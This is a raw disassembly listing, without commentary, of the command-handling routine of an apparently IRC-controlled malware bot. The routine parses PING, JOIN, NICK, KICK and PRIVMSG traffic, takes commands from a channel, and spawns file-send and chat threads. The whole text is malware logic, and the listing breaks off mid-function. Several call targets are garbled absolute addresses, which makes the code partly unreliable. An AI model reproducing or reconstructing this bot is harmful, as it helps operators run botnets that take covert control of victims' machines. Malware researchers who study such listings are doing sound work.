var_D80 = byte ptr -0D80h var_D00 = byte ptr -0D00h var_C80 = dword ptr -0C80h var_C7C = dword ptr -0C7Ch var_C78 = dword ptr -0C78h var_C74 = dword ptr -0C74h var_C70 = dword ptr -0C70h var_C6C = dword ptr -0C6Ch var_C68 = dword ptr -0C68h var_C64 = dword ptr -0C64h var_C60 = dword ptr -0C60h var_C5C = byte ptr -0C5Ch var_BDC = dword ptr -0BDCh var_BD8 = dword ptr -0BD8h var_BD4 = dword ptr -0BD4h var_BD0 = dword ptr -0BD0h var_BCC = dword ptr -0BCCh var_BC8 = dword ptr -0BC8h var_BC4 = byte ptr -0BC4h var_B44 = dword ptr -0B44h var_B40 = dword ptr -0B40h var_B3C = dword ptr -0B3Ch var_B38 = dword ptr -0B38h var_B34 = dword ptr -0B34h var_B30 = dword ptr -0B30h var_B2C = byte ptr -0B2Ch var_AAC = dword ptr -0AACh var_AA8 = dword ptr -0AA8h var_AA4 = dword ptr -0AA4h var_AA0 = dword ptr -0AA0h var_A9C = dword ptr -0A9Ch var_A98 = dword ptr -0A98h var_A94 = dword ptr -0A94h var_A90 = byte ptr -0A90h var_A10 = dword ptr -0A10h var_A0C = dword ptr -0A0Ch var_A08 = dword ptr -0A08h var_A04 = dword ptr -0A04h var_A00 = dword ptr -0A00h var_9FC = byte ptr -9FCh var_97C = word ptr -97Ch var_978 = dword ptr -978h var_970 = dword ptr -970h var_96C = dword ptr -96Ch var_968 = dword ptr -968h var_960 = byte ptr -960h var_8FF = byte ptr -8FFh var_8FE = byte ptr -8FEh var_8FC = byte ptr -8FCh var_8FB = byte ptr -8FBh var_8F2 = byte ptr -8F2h var_8F0 = byte ptr -8F0h var_8EE = byte ptr -8EEh var_8ED = byte ptr -8EDh var_860 = byte ptr -860h var_850 = byte ptr -850h var_7D0 = byte ptr -7D0h var_750 = dword ptr -750h var_74C = dword ptr -74Ch var_748 = dword ptr -748h var_744 = dword ptr -744h var_740 = dword ptr -740h var_734 = dword ptr -734h var_730 = dword ptr -730h var_728 = dword ptr -728h var_724 = dword ptr -724h var_720 = dword ptr -720h var_71C = dword ptr -71Ch var_714 = dword ptr -714h var_710 = byte ptr -710h var_690 = dword ptr -690h var_688 = dword ptr -688h var_684 = dword ptr -684h var_680 = dword ptr -680h var_678 = dword ptr -678h var_674 = dword ptr -674h var_670 = dword ptr -670h var_668 = dword ptr -668h var_63C = dword ptr -63Ch var_638 = word ptr -638h var_624 = dword ptr -624h var_620 = byte ptr -620h var_5A0 = byte ptr -5A0h var_590 = dword ptr -590h var_58C = dword ptr -58Ch var_584 = dword ptr -584h var_580 = dword ptr -580h var_57C = dword ptr -57Ch var_574 = dword ptr -574h var_570 = byte ptr -570h var_4F0 = dword ptr -4F0h var_4EC = dword ptr -4ECh var_4E8 = dword ptr -4E8h var_4E4 = dword ptr -4E4h var_4E0 = dword ptr -4E0h var_4D8 = dword ptr -4D8h var_4D4 = dword ptr -4D4h var_4D0 = dword ptr -4D0h var_4C8 = byte ptr -4C8h var_4BC = byte ptr -4BCh var_484 = byte ptr -484h var_474 = byte ptr -474h var_3F4 = byte ptr -3F4h var_374 = dword ptr -374h var_370 = dword ptr -370h var_36C = dword ptr -36Ch var_368 = dword ptr -368h var_364 = dword ptr -364h var_358 = dword ptr -358h var_354 = dword ptr -354h var_34C = dword ptr -34Ch var_348 = dword ptr -348h var_344 = dword ptr -344h var_340 = dword ptr -340h var_338 = byte ptr -338h var_31C = word ptr -31Ch var_31A = word ptr -31Ah var_318 = dword ptr -318h var_30C = byte ptr -30Ch var_308 = dword ptr -308h var_2FC = byte ptr -2FCh var_2F8 = byte ptr -2F8h var_2F4 = dword ptr -2F4h var_2E8 = byte ptr -2E8h var_2E4 = byte ptr -2E4h var_2E3 = byte ptr -2E3h var_2E2 = byte ptr -2E2h var_2D8 = dword ptr -2D8h var_2D4 = dword ptr -2D4h var_2D0 = dword ptr -2D0h var_2CC = dword ptr -2CCh var_2C8 = dword ptr -2C8h var_2C4 = byte ptr -2C4h var_C4 = byte ptr -0C4h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_93 = byte ptr -93h var_92 = byte ptr -92h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_50 = byte ptr -50h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp mov eax, 568Ch call sub_41C500 push ebx push esi mov esi, 200h push edi xor ebx, ebx push esi lea eax, [ebp+var_2C4] push ebx push eax mov [ebp+var_AC], 3 mov [ebp+var_10], ebx mov [ebp+var_A4], ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [ebp+var_2C8], ebx call sub_41BF70 push 1Bh lea eax, [ebp+var_338] push [ebp+arg_10] push eax call sub_41BFD0 add esp, 18h cmp [ebp+arg_0], ebx jz loc_401F75 push esi lea eax, [ebp+var_428C] push ebx push eax call sub_41BF70 dec esi lea eax, [ebp+var_428C] push esi push [ebp+arg_0] push eax call sub_41BFD0 lea eax, [ebp+var_428C] push offset asc_42CDC4 ; " :" push eax call sub_41C2E0 mov [ebp+var_C], eax lea eax, [ebp+var_428C] push esi push eax lea eax, [ebp+var_4EF8] push eax call sub_41BFD0 mov esi, offset asc_42CDC0 ; " " lea eax, [ebp+var_4EF8] push esi push eax call sub_41CAD4 add esp, 34h mov [ebp+var_90], eax lea edi, [ebp+var_8C] mov [ebp+var_A8], 1Fh loc_401BA0: ; CODE XREF: sub_401ACD+E7j push esi push ebx call sub_41CAD4 mov [edi], eax pop ecx add edi, 4 dec [ebp+var_A8] pop ecx jnz short loc_401BA0 mov esi, [ebp+var_90] cmp esi, ebx jz loc_401F75 cmp [ebp+var_8C], ebx jz loc_401F75 push 100h lea eax, [ebp+var_960] push ebx push eax call sub_41BF70 add esp, 0Ch lea ecx, [ebp+var_14] push 1Fh pop edx push 1 pop edi loc_401BEE: ; CODE XREF: sub_401ACD+153j mov eax, [ecx] cmp eax, ebx jz short loc_401C1A cmp byte ptr [eax], 2Dh jnz short loc_401C22 cmp [eax+2], bl jnz short loc_401C22 movsx esi, byte ptr [eax+1] mov [ecx], ebx mov [ebp+esi+var_960], 1 mov esi, [ebp+var_90] mov [eax], bl mov [eax+1], bl mov [eax+2], bl loc_401C1A: ; CODE XREF: sub_401ACD+125j dec edx sub ecx, 4 cmp edx, ebx jge short loc_401BEE loc_401C22: ; CODE XREF: sub_401ACD+12Aj ; sub_401ACD+12Fj cmp [ebp+var_8ED], bl jz short loc_401C2D mov [ebp+var_8], edi loc_401C2D: ; CODE XREF: sub_401ACD+15Bj cmp [ebp+var_8F2], bl jz short loc_401C3B mov [ebp+var_8], ebx mov [ebp+var_4], edi loc_401C3B: ; CODE XREF: sub_401ACD+166j cmp byte ptr [esi], 0Ah jz short loc_401C75 push 7Fh lea eax, [ebp+var_E04] push esi push eax call sub_41BFD0 lea eax, [esi+1] push 17h push eax lea eax, [ebp+var_C4] push eax call sub_41BFD0 lea eax, [ebp+var_C4] push offset asc_42CDBC ; "!" push eax call sub_41CAD4 add esp, 20h loc_401C75: ; CODE XREF: sub_401ACD+171j push esi push offset aPing ; "PING" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_401CC6 push [ebp+var_8C] mov byte ptr [esi+1], 4Fh push offset aPongS ; "PONG %s\r\n" push [ebp+arg_4] call sub_409823 mov eax, [ebp+arg_20] add esp, 0Ch cmp [eax], ebx jnz loc_401D6A push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409823 add esp, 10h jmp loc_401D6A ; --------------------------------------------------------------------------- loc_401CC6: ; CODE XREF: sub_401ACD+1B7j mov esi, [ebp+var_8C] push esi push offset a001 ; "001" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4097D7 push esi push offset a005 ; "005" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4097D7 push esi push offset a302 ; "302" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_401D2E push offset a@ ; "@" push [ebp+var_84] call sub_41C2E0 pop ecx cmp eax, ebx pop ecx jz short loc_401D6A inc eax push 9Fh push eax push [ebp+arg_1C] call sub_41BFD0 jmp short loc_401D67 ; --------------------------------------------------------------------------- loc_401D2E: ; CODE XREF: sub_401ACD+238j push esi push offset a433 ; "433" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_401D71 push ebx push dword_4290A0 push dword_42909C push [ebp+arg_10] call sub_40AE84 add esp, 10h push [ebp+arg_10] push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_409823 loc_401D67: ; CODE XREF: sub_401ACD+25Fj add esp, 0Ch loc_401D6A: ; CODE XREF: sub_401ACD+1D8j ; sub_401ACD+1F4j ... mov eax, edi jmp loc_401F78 ; --------------------------------------------------------------------------- loc_401D71: ; CODE XREF: sub_401ACD+270j mov esi, [ebp+arg_18] mov [ebp+var_A8], 3 mov edi, 80h loc_401D83: ; CODE XREF: sub_401ACD+2DBj lea eax, [ebp+var_E04] push eax push esi call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_401DA0 mov [ebp+var_A4], 1 loc_401DA0: ; CODE XREF: sub_401ACD+2C7j add esi, edi dec [ebp+var_A8] jnz short loc_401D83 mov esi, [ebp+var_8C] push esi push offset aKick ; "KICK" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_401E9A mov esi, [ebp+arg_18] mov [ebp+arg_24], 3 loc_401DCF: ; CODE XREF: sub_401ACD+392j cmp [esi], bl jz loc_401E5A push 7Fh lea eax, [ebp+var_E04] push esi push eax call sub_41BFD0 lea eax, [ebp+var_C4] add esp, 0Ch test eax, eax jz short loc_401E5A cmp [ebp+var_84], ebx jz short loc_401E5A push [ebp+var_84] lea eax, [ebp+var_C4] push eax call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_401E5A lea eax, [ebp+var_C4] mov [esi], bl push eax lea eax, [ebp+var_2C4] push offset unk_42CD50 push eax call sub_41C266 add esp, 0Ch lea eax, [ebp+var_2C4] push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" push [ebp+arg_4] call sub_409823 lea eax, [ebp+var_2C4] push eax call sub_415D38 add esp, 14h loc_401E5A: ; CODE XREF: sub_401ACD+304j ; sub_401ACD+324j ... add esi, edi dec [ebp+arg_24] jnz loc_401DCF push [ebp+var_84] push [ebp+arg_10] call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_401F75 push [ebp+arg_C] mov eax, [ebp+arg_20] push [ebp+arg_8] mov [eax], ebx push offset aJoinSS ; "JOIN %s %s\r\n" loc_401E8D: ; CODE XREF: sub_401ACD+5F6j ; sub_401ACD+8B9j ... push [ebp+arg_4] call sub_409823 jmp loc_404260 ; --------------------------------------------------------------------------- loc_401E9A: ; CODE XREF: sub_401ACD+2F2j push esi push offset aNick ; "NICK" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_401FDD mov eax, [ebp+var_88] mov esi, [ebp+arg_18] inc eax mov [ebp+arg_0], 3 mov [ebp+arg_24], eax loc_401EC3: ; CODE XREF: sub_401ACD+448j lea eax, [ebp+var_E04] push eax push esi call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_401F10 lea eax, [ebp+var_E04] push 21h push eax call sub_41C990 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_1C], eax jz short loc_401F10 push [ebp+arg_24] lea edi, [esi+2] mov byte ptr [esi], 3Ah lea eax, [edi-1] push eax call sub_41C890 push [ebp+arg_1C] push edi call sub_41C8A0 add esp, 10h mov edi, 80h loc_401F10: ; CODE XREF: sub_401ACD+407j ; sub_401ACD+41Ej add esi, edi dec [ebp+arg_0] jnz short loc_401EC3 lea eax, [ebp+var_C4] test eax, eax jz short loc_401F75 cmp [ebp+arg_24], ebx jz short loc_401F75 push [ebp+arg_10] lea eax, [ebp+var_C4] push eax call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_401F4D push 0Fh push [ebp+arg_24] push [ebp+arg_10] call sub_41BFD0 jmp loc_4036A2 ; --------------------------------------------------------------------------- loc_401F4D: ; CODE XREF: sub_401ACD+46Cj mov edi, [ebp+arg_18] xor esi, esi loc_401F52: ; CODE XREF: sub_401ACD+4A6j cmp [edi], bl jz short loc_401F69 lea eax, [ebp+var_E04] push eax push edi call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_401F7D loc_401F69: ; CODE XREF: sub_401ACD+487j inc esi add edi, 80h cmp esi, 3 jl short loc_401F52 loc_401F75: ; CODE XREF: sub_401ACD+5Bj ; sub_401ACD+F1j ... push 1 loc_401F77: ; CODE XREF: sub_401ACD+2A1Ej pop eax loc_401F78: ; CODE XREF: sub_401ACD+29Fj ; sub_401ACD+2A40j ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_401F7D: ; CODE XREF: sub_401ACD+49Aj lea eax, [ebp+var_E04] push 21h push eax call sub_41C990 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_0], eax jz short loc_401F75 push eax call sub_41B9C0 push [ebp+arg_24] mov edi, eax call sub_41B9C0 add edi, eax pop ecx cmp edi, 7Eh pop ecx ja short loc_401F75 push [ebp+arg_0] shl esi, 7 push [ebp+arg_24] add esi, [ebp+arg_18] push offset aSS ; ":%s%s" push esi call sub_41C266 push ebx lea eax, [ebp+var_45F0] push ebx push eax push [ebp+arg_8] push [ebp+arg_4] call sub_409869 add esp, 24h jmp short loc_401F75 ; --------------------------------------------------------------------------- loc_401FDD: ; CODE XREF: sub_401ACD+3DCj push esi push offset aPart ; "PART" call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_401FFF push esi push offset aQuit ; "QUIT" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402026 loc_401FFF: ; CODE XREF: sub_401ACD+51Fj mov edi, [ebp+arg_18] xor esi, esi loc_402004: ; CODE XREF: sub_401ACD+557j cmp [edi], bl jz short loc_40201A push [ebp+var_90] push edi call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_402067 loc_40201A: ; CODE XREF: sub_401ACD+539j inc esi add edi, 80h cmp esi, 3 jl short loc_402004 loc_402026: ; CODE XREF: sub_401ACD+530j push [ebp+var_8C] push offset a353 ; "353" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_4020C8 push [ebp+var_80] push [ebp+arg_8] call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_40205A mov eax, [ebp+arg_20] mov dword ptr [eax], 1 loc_40205A: ; CODE XREF: sub_401ACD+582j push [ebp+var_80] push offset unk_42CCFC jmp loc_4097CB ; --------------------------------------------------------------------------- loc_402067: ; CODE XREF: sub_401ACD+54Bj mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_2C4] push offset unk_42CCDC push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_415D38 push [ebp+var_8C] push offset aPart ; "PART" call sub_41CA50 add esp, 18h test eax, eax jnz loc_401F75 lea eax, [ebp+var_2C4] push eax mov eax, [ebp+var_90] inc eax push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" jmp loc_401E8D ; --------------------------------------------------------------------------- loc_4020C8: ; CODE XREF: sub_401ACD+56Dj push [ebp+var_8C] mov esi, offset aPrivmsg ; "PRIVMSG" push esi call sub_41CA50 pop ecx mov edi, offset aNotice ; "NOTICE" test eax, eax pop ecx jz short loc_40211C push [ebp+var_8C] push edi call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_40211C push [ebp+var_8C] push offset dword_42CCC8 call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_409644 cmp dword_429088, ebx jz loc_409644 loc_40211C: ; CODE XREF: sub_401ACD+615j ; sub_401ACD+627j push [ebp+var_8C] push esi call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4022A2 push [ebp+var_8C] push edi call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4022A2 mov eax, [ebp+var_84] inc [ebp+var_80] push 4 mov [ebp+var_88], eax pop esi mov [ebp+var_AC], esi loc_402160: ; CODE XREF: sub_401ACD+891j ; sub_401ACD+8CDj ... shl esi, 2 mov eax, [ebp+esi+var_90] lea edi, [ebp+esi+var_90] push eax push offset dword_42CCC0 mov [ebp+arg_8], eax call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_40253B push [ebp+esi+var_8C] push offset aSend_0 ; "SEND" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_402402 cmp [ebp+var_A4], ebx jz loc_4023DB push [ebp+esi+var_88] mov edi, offset aS_1 ; "%s" lea eax, [ebp+var_1B84] push edi push eax call sub_41C266 add esp, 0Ch lea eax, [ebp+var_1B98] push [ebp+esi+var_84] push edi push eax call sub_41C266 push [ebp+esi+var_80] call sub_41C159 mov [ebp+var_1A00], eax mov eax, [ebp+arg_4] mov [ebp+var_1BA0], eax lea eax, [ebp+var_C4] push 7Fh push eax lea eax, [ebp+var_1A80] push eax call sub_41BFD0 mov eax, [ebp+var_4] add esp, 1Ch mov [ebp+var_19F8], eax mov eax, [ebp+var_8] mov [ebp+var_19F4], eax lea eax, [ebp+var_1A80] push eax lea eax, [ebp+var_1B84] push eax lea eax, [ebp+var_2C4] push offset unk_42CC84 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 1Ah push eax call sub_40B3BA add esp, 1Ch mov [ebp+var_19FC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1BA0] push ebx push eax push offset loc_416563 push ebx push ebx nop call near ptr 2680089h mov ecx, [ebp+var_19FC] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz loc_4023CA loc_40228C: ; CODE XREF: sub_401ACD+7D3j cmp [ebp+var_19F0], ebx jnz loc_4082DE push 32h nop call near ptr 2680000h jmp short loc_40228C ; --------------------------------------------------------------------------- loc_4022A2: ; CODE XREF: sub_401ACD+65Fj ; sub_401ACD+675j push [ebp+var_8C] push edi call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_4022BB mov [ebp+var_4], 1 loc_4022BB: ; CODE XREF: sub_401ACD+7E5j cmp [ebp+var_88], ebx jz loc_401F75 push offset dword_42CC80 push [ebp+var_88] call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_4022E2 cmp [ebp+var_4], ebx jz short loc_4022EE loc_4022E2: ; CODE XREF: sub_401ACD+80Ej lea eax, [ebp+var_C4] mov [ebp+var_88], eax loc_4022EE: ; CODE XREF: sub_401ACD+813j cmp [ebp+var_84], ebx jz loc_401F75 inc [ebp+var_84] jz short loc_40233A cmp [ebp+arg_10], ebx jz short loc_40233A lea eax, [ebp+var_338] push eax call sub_41B9C0 push eax lea eax, [ebp+var_338] push [ebp+var_84] push eax call sub_41C850 mov esi, eax add esp, 10h neg esi sbb esi, esi add esi, 4 mov [ebp+var_AC], esi jmp short loc_402340 ; --------------------------------------------------------------------------- loc_40233A: ; CODE XREF: sub_401ACD+833j ; sub_401ACD+838j mov esi, [ebp+var_AC] loc_402340: ; CODE XREF: sub_401ACD+86Bj mov edi, [ebp+esi*4+var_90] cmp edi, ebx jz loc_401F75 push edi push offset dword_42CC74 call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_402160 mov ecx, [ebp+var_88] cmp byte ptr [ecx], 23h jz short loc_40238B mov eax, dword_4CB888 mov eax, off_429160[eax*4] cmp [eax], bl jz short loc_40238B push eax push ecx push offset dword_42CC58 jmp loc_401E8D ; --------------------------------------------------------------------------- loc_40238B: ; CODE XREF: sub_401ACD+8A0j ; sub_401ACD+8B0j push edi push offset dword_42CC50 call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_402160 mov eax, [ebp+esi*4+var_8C] cmp eax, ebx jz loc_402160 mov ecx, [ebp+var_88] cmp byte ptr [ecx], 23h jz loc_402160 push eax push ecx push offset dword_42CC38 jmp loc_401E8D ; --------------------------------------------------------------------------- loc_4023CA: ; CODE XREF: sub_401ACD+7B9j ; sub_401ACD+76B7j nop call near ptr 2680880h push eax push offset unk_42CBFC jmp loc_4082CF ; --------------------------------------------------------------------------- loc_4023DB: ; CODE XREF: sub_401ACD+6DDj lea eax, [ebp+var_C4] push eax push [ebp+esi+var_88] push offset unk_42CBB8 loc_4023EE: ; CODE XREF: sub_401ACD+7C19j ; sub_401ACD+7C80j lea eax, [ebp+var_2C4] push eax call sub_41C266 add esp, 10h jmp loc_4082DE ; --------------------------------------------------------------------------- loc_402402: ; CODE XREF: sub_401ACD+6D1j push [ebp+esi+var_8C] push offset aChat ; "CHAT" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_402551 cmp [ebp+var_A4], ebx jz loc_40252A push 1Bh call sub_40B602 test eax, eax pop ecx jnz loc_402519 push [ebp+esi+var_84] lea eax, [ebp+var_2AAC] push offset aS_1 ; "%s" push eax call sub_41C266 push [ebp+esi+var_80] call sub_41C159 mov [ebp+var_2914], eax mov eax, [ebp+arg_4] mov [ebp+var_2AB4], eax lea eax, [ebp+var_C4] push 7Fh push eax lea eax, [ebp+var_2994] push eax call sub_41BFD0 mov eax, [ebp+var_4] add esp, 1Ch mov [ebp+var_290C], eax mov eax, [ebp+var_8] mov [ebp+var_2908], eax lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_2C4] push offset unk_42CB90 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 1Bh push eax call sub_40B3BA add esp, 18h mov [ebp+var_2910], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2AB4] push ebx push eax push offset dword_416000 push ebx push ebx nop call near ptr 2680089h mov ecx, [ebp+var_2910] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_402508 loc_4024F2: ; CODE XREF: sub_401ACD+A39j cmp [ebp+var_2904], ebx jnz loc_4082DE push 32h nop call near ptr 2680000h jmp short loc_4024F2 ; --------------------------------------------------------------------------- loc_402508: ; CODE XREF: sub_401ACD+A23j nop call near ptr 2680880h push eax push offset unk_42CB58 jmp loc_4082CF ; --------------------------------------------------------------------------- loc_402519: ; CODE XREF: sub_401ACD+966j lea eax, [ebp+var_C4] push eax push offset unk_42CB28 jmp loc_4082CF ; --------------------------------------------------------------------------- loc_40252A: ; CODE XREF: sub_401ACD+956j lea eax, [ebp+var_C4] push eax push offset unk_42CAF4 jmp loc_4082CF ; --------------------------------------------------------------------------- loc_40253B: ; CODE XREF: sub_401ACD+6B6j mov eax, [ebp+arg_8] lea ecx, [eax+1] mov al, [eax] cmp al, byte_429094 mov [edi], ecx jnz loc_401F75 loc_402551: ; CODE XREF: sub_401ACD+94Aj mov edi, [edi] push edi push offset aC ; "c" mov [ebp+arg_8], edi call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40964C push edi push offset aK ; "k" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40964C cmp [ebp+var_A4], ebx jnz short loc_4025A2 push [ebp+var_8C] push offset dword_42CCC8 call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_409644 loc_4025A2: ; CODE XREF: sub_401ACD+AB9j cmp [ebp+arg_28], ebx jnz loc_409644 xor edi, edi cmp dword_4294CC, ebx jle loc_402757 mov [ebp+arg_20], offset dword_43DB90 loc_4025C0: ; CODE XREF: sub_401ACD+B12j push [ebp+arg_8] push [ebp+arg_20] call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_4025E6 add [ebp+arg_20], 0B8h inc edi cmp edi, dword_4294CC jl short loc_4025C0 jmp loc_402757 ; --------------------------------------------------------------------------- loc_4025E6: ; CODE XREF: sub_401ACD+B02j push offset asc_42CDC4 ; " :" push [ebp+arg_0] call sub_41C2E0 pop ecx cmp eax, ebx pop ecx jz loc_401F75 mov cl, byte_429094 imul edi, 0B8h mov [eax+2], cl mov cl, byte_429094 mov [eax+3], cl lea ecx, dword_43DBA8[edi] push 9Fh add eax, 4 push ecx push eax call sub_41BFD0 lea eax, [ebp+esi+var_50] add esp, 0Ch mov [ebp+arg_20], 0Fh mov [ebp+arg_C], eax loc_40263B: ; CODE XREF: sub_401ACD+C1Fj push [ebp+arg_20] lea eax, [ebp+var_A0] push offset aD_0 ; "$%d-" push eax call sub_41C266 lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_41C2E0 add esp, 14h test eax, eax jz short loc_4026A7 mov eax, [ebp+arg_C] cmp [eax], ebx jz short loc_4026A7 lea eax, dword_43DB90[edi] push eax call sub_41B9C0 add [ebp+var_C], eax pop ecx jz short loc_4026E2 mov eax, [ebp+arg_C] push dword ptr [eax-4] push [ebp+var_C] call sub_41C2E0 pop ecx cmp eax, ebx pop ecx jz short loc_4026E2 push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_41843B add esp, 0Ch jmp short loc_4026E2 ; --------------------------------------------------------------------------- loc_4026A7: ; CODE XREF: sub_401ACD+B96j ; sub_401ACD+B9Dj mov eax, [ebp+arg_C] cmp [eax], ebx jnz short loc_4026E2 lea eax, [ebp+var_A0] push 2 push eax lea eax, [ebp+var_94] push eax call sub_41BFD0 lea eax, [ebp+var_94] mov [ebp+var_92], bl push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_41843B add esp, 18h loc_4026E2: ; CODE XREF: sub_401ACD+BAFj ; sub_401ACD+BC3j ... dec [ebp+arg_20] sub [ebp+arg_C], 4 cmp [ebp+arg_20], ebx jg loc_40263B lea eax, [ebp+esi+var_50] mov [ebp+arg_20], 10h mov edi, eax loc_4026FF: ; CODE XREF: sub_401ACD+C7Ej push [ebp+arg_20] lea eax, [ebp+var_A0] push offset aD ; "$%d" push eax call sub_41C266 lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_41C2E0 add esp, 14h test eax, eax jz short loc_402742 mov eax, [edi] cmp eax, ebx jz short loc_402742 push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_41843B add esp, 0Ch loc_402742: ; CODE XREF: sub_401ACD+C5Aj ; sub_401ACD+C60j dec [ebp+arg_20] sub edi, 4 cmp [ebp+arg_20], ebx jg short loc_4026FF mov [ebp+var_2C8], 1 loc_402757: ; CODE XREF: sub_401ACD+AE6j ; sub_401ACD+B14j mov eax, [ebp+arg_8] mov al, [eax] cmp al, byte_429094 jz short loc_402770 cmp [ebp+var_2C8], ebx jz loc_402961 loc_402770: ; CODE XREF: sub_401ACD+C95j push [ebp+arg_10] mov edi, [ebp+arg_0] push offset aMe ; "$me" push edi call sub_41843B lea eax, [ebp+var_C4] push eax push offset aUser_1 ; "$user" push edi call sub_41843B push [ebp+var_88] push offset aChan ; "$chan" push edi call sub_41843B push ebx push ebx lea eax, [ebp+var_A0] push 2 push eax call sub_40AE84 push eax push offset aRndnick_0 ; "$rndnick" push edi call sub_41843B add esp, 40h push [ebp+arg_14] push offset aServer_1 ; "$server" push edi call sub_41843B mov edi, offset aChr ; "$chr(" push edi push [ebp+arg_0] call sub_41C2E0 add esp, 14h loc_4027E2: ; CODE XREF: sub_401ACD+E0Dj test eax, eax jz loc_4028DF push edi push [ebp+arg_0] call sub_41C2E0 mov [ebp+arg_10], eax add eax, 5 push 4 push eax lea eax, [ebp+var_A0] push eax call sub_41BFD0 lea eax, [ebp+var_A0] push offset asc_42CAAC ; ")" push eax call sub_41CAD4 add esp, 1Ch cmp [ebp+var_A0], 30h jl short loc_40282E cmp [ebp+var_A0], 39h jle short loc_402844 loc_40282E: ; CODE XREF: sub_401ACD+D56j push 3 lea eax, [ebp+var_A0] push offset a63 ; "63" push eax call sub_41BFD0 add esp, 0Ch loc_402844: ; CODE XREF: sub_401ACD+D5Fj lea eax, [ebp+var_A0] push eax call sub_41C159 test eax, eax pop ecx jle short loc_40286A lea eax, [ebp+var_A0] push eax call sub_41C159 pop ecx mov [ebp+var_94], al jmp short loc_40287E ; --------------------------------------------------------------------------- loc_40286A: ; CODE XREF: sub_401ACD+D86j call sub_41C2C2 push 60h cdq pop ecx idiv ecx add dl, 20h mov [ebp+var_94], dl loc_40287E: ; CODE XREF: sub_401ACD+D9Bj lea eax, [ebp+var_A0] mov [ebp+var_93], bl push eax call sub_41B9C0 mov [ebp+arg_20], eax push 0Ch lea eax, [ebp+var_A0] push ebx push eax call sub_41BF70 mov eax, [ebp+arg_20] add eax, 6 push eax lea eax, [ebp+var_A0] push [ebp+arg_10] push eax call sub_41BFD0 lea eax, [ebp+var_94] push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_41843B push edi push [ebp+arg_0] call sub_41C2E0 add esp, 30h jmp loc_4027E2 ; --------------------------------------------------------------------------- loc_4028DF: ; CODE XREF: sub_401ACD+D17j mov edi, 1FFh lea eax, [ebp+var_428C] push edi push [ebp+arg_0] push eax call sub_41BFD0 lea eax, [ebp+var_428C] push edi push eax lea eax, [ebp+var_4EF8] push eax call sub_41BFD0 lea eax, [ebp+var_4EF8] push offset asc_42CDC0 ; " " push eax call sub_41CAD4 add esp, 20h mov [ebp+var_90], eax lea edi, [ebp+var_8C] mov [ebp+arg_10], 1Fh loc_40292F: ; CODE XREF: sub_401ACD+E77j push offset asc_42CDC0 ; " " push ebx call sub_41CAD4 